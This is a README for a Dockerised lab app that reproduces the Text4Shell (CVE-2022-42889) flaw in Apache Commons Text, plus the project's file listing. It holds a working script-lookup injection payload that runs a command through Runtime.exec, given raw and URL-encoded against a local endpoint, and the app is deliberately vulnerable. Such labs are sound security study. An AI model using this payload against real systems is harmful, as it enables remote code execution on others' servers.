https://github.com/karthikuj/cve-2022-42889-text4shell-docker.git### Install maven - [maven-linux](https://www.digitalocean.com/community/tutorials/install-maven-linux-ubuntu)
-------------
1. Maven install to create the fat jar
```
mvn clean install
```
2. Docker build
```
docker build --tag=text4shell .
```
3. Docker run
```
docker run -p 80:8080 text4shell
```
4. Test the app
```
http://localhost/text4shell/attack?search=<anything>
```
5. Attack can be performed by passing a string “${prefix:name}” where the prefix is the aforementioned lookup:
```
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
```
http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D
6. You can also try using `dns` or `url` prefixes.
7. Get the container id
```
docker container ls
```
8. Get into the app
```
docker exec -it <container_id> bash
```
9. To check if above RCE was successful (You should see a file named `foo` created in the `/tmp` directory):
```
ls /tmp/
```
10. To stop the container
```
docker container stop <container_id>
```
[4.0K] /data/pocs/4efc6a88f898878acce815d1bf3dc89ab2ef0cf8
├── [ 481] Dockerfile
├── [1.5K] pom.xml
├── [1.1K] README.md
└── [4.0K] src
├── [4.0K] main
│ └── [4.0K] java
│ └── [4.0K] com
│ └── [4.0K] levo
│ └── [4.0K] dockerexample
│ ├── [4.0K] controller
│ │ └── [1002] HelloController.java
│ └── [ 297] DockerApp.java
└── [4.0K] test
└── [4.0K] java
└── [4.0K] com
└── [4.0K] levo
└── [4.0K] dockerexample
└── [ 70] PlaceHolderForTest.java
12 directories, 6 files